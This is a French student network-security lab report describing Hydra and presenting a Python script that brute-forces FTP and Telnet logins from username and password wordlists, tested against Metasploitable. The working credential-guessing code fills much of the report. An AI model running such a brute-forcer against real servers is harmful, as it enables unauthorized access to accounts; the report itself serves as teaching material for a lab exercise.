Vous êtes sur la page 1sur 5

REPUBLIQUE DU CAMEROUN

PAIX- TRAVAIL- PATRIE

INSTITUT SAINT JEAN

Année académique 2023-2024

NETWORK SECURITY REPORT

Thème :
CONCEPTION ET REALISATION
D’UN BRUTEFORCEUR

Rédigé par : Examinateur :

 YOUMSSI TAMKO  M. MAHAMAT M.


 TALLA LINDA
 BADEBANG KOTTI
 MANDU FARIDA
 ABABOUKAR MAHAMAT
I- BUT DU TP :

Le but de ce TP est de concevoir un outil calqué sur le fonctionnement de HYDRA disponible


dans kali linux et qui est un bruteforceur de protocoles.

II- ETUDE DU FONCTIONNEMENT DE HYDRA :

Hydra est un crackeur de mot de passe réseau supportant les protocoles suivants :
TELNET, FTP, HTTP (GET, HEAD, PROXY, PROXY-NTLM, FORM-GET, FORM-POST,
HTTPS-FORM-GET, HTTPS-FORM-POST) LDAP2, LADP3, SMB, SMBNT, MS-SQL,
MYSQL, POSTGRES, POP3-NTLM, IMAP, IMAP-NTLM, NNTP, PCNFS, ICQ, SAP/R3,
Cisco auth, Cisco enable, SMTP-AUTH, SMTP-AUTH-NTLM, SSH, SNMP, CVS, Cisco AAA,
REXEC, SOCKS5, VNC, POP3, VMware-Auth, NCP, Firebird et depuis la version 7.5 mysql
module protocol 10.

 SYNTAXE GENERALE DE HYDRA :

hydra -l/-L [user] -p/-P [pass] [@IP] [protocole]

On peut donc voir que les paramètres demandés par hydra sont un username (-l) ou une liste de
usernames (-L), un password (-p) ou une liste de passwords (-P), une adresse ip et un protocole
(ssh, ftp, telnet,), notre script devra donc se servir des memes entrées pour tester différentes
combinaisons de mots de passe sur un protocole
Le langage que nous avons choisi est le python car il possède des bibliothèques qui permettent de
communiquer avec nos différents protocoles à travers des sockets.

III- REALISATION DU SCRIPT :

Nous nous sommes concentrés sur les protocoles ssh, telnet et ftp pour l’instant.

1- Bibliothèques utilisées :

*paramiko :
Paramiko est une implémentation purement Python du protocole SSHv2, fournissant à la fois des
fonctionnalités client et serveur. Il constitue la base de la bibliothèque SSH de haut niveau, qu’il
est recommandé d'utiliser pour les cas d'utilisation courants des clients, tels que l'exécution de
commandes Shell distantes ou le transfert de fichiers.

*ftplib :
La classe FTP implémente le côté client du protocole FTP. On peut l'utiliser pour écrire des
programmes Python qui effectuent diverses tâches FTP automatisées, telles que la mise en miroir
d'autres serveurs FTP. Il est également utilisé par le module urllib.request pour gérer les URL
utilisant FTP. Il est décrit dans la norme RFC 959.

*telnetlib :
Le module telnetlib fournit une classe Telnet qui implémente le protocole Telnet. Voir RFC 854
pour plus de détails sur le protocole.
2- script python :

import ftplib #on importe la librairie ftp


import telnetlib # on importe la librairie telnet
import paramiko # on importe la librairie paramiko
#import smtplib

from colorama import Fore, init # on importe la librairie colorama pour g"rer les couleurs dans la
console

def ftp_brut(host,username,password): # fonction pour bruteforcer le ftp


server = ftplib.FTP() # on crée un objet serveur de la bilbiothèque FTP()
print(f"[!] Trying",username,":",password) # pour afficher le username et le password courant
server.connect(host,21,timeout=5) # on assaye de se connecter à notre target (host)
try:
server.login(username,password) #on teste des credentials
except:
return False # retourne faux si les credentials sont incorrects
else:
print(f"{Fore.GREEN}[+] Found credentials:", password, Fore.RESET)
print(f"\tHost: {host}") # on affiche les credentials découverts avec la couleur verte
print(f"\tUser: {username}")
print(f"\tPassword: {password}{Fore.RESET}")
return True # retourne vrai lorsqu'une cominaison est trouvée
def telnet_brut(host, username,password): # fonction pour bruteforcer le telent
tel = telnetlib.Telnet(host, 23, timeout=5) # on crée un objet Telnet() et on se connecte à notre
target
print(f"[!] Trying",username,":",password)
tel.read_until(b"login:") # on lit les informations envoyées par le serveur et de détecter la
demande du login
tel.write(username.encode('ascii') + b"\n") # permet de renseigner le login à traver le socket
ouvert plutot socket
tel.read_until(b"Password:") # on lit les informations envoyées par le serveur et de détecter la
demande du mot de passe
tel.write(password.encode('ascii') + b"\n")# permet de renseigner un password à travers le socket
crée plus haut
if (tel.read_until(match=b'incorrect')): # si les credentials sont incorrects
return False
else:
print(f"{Fore.GREEN}[+] Found credentials:", password, Fore.RESET)
print(f"\tHost: {host}")
print(f"\tUser: {username}")
print(f"\tPassword: {password}{Fore.RESET}")
return True
host = input("entrez l'adresse du serveur : ") # on demande à l'utilisateur d'entrer la cible
port = int(input("entrez le numero de port : ")) # on demande à l'utilisateur de fournir le port
# on lit les dictionnaires d'utilisateurs ey de mots de passe
passwords = open("/home/tamko/Documents/python scripts/wordlist.txt").read().split("\n")
usernames = open("/home/tamko/Documents/python scripts/username.txt").read().split("\n")
print("[+] combinations to try:", len(passwords)*len(usernames)) # on affiche le nombre de
combinaisons à try
for password in passwords:
for username in usernames:
try:
if port==21: # si c'est le port 21 (ftp) qu'on attaque
if ftp_brut(host,username,password):
break
elif port==23: # si c'est le port 23 (telnet)
if telnet_brut(host,username,password):
break
except KeyboardInterrupt:
break

3- test du script:

* FTP :

On va se servir de METASPLOITABLE pour attaquer le port :


* TELNET :

Malheureusement le SSH ne marche pas encore, dû à des erreurs dans la bibliothèque paramiko :

Vous aimerez peut-être aussi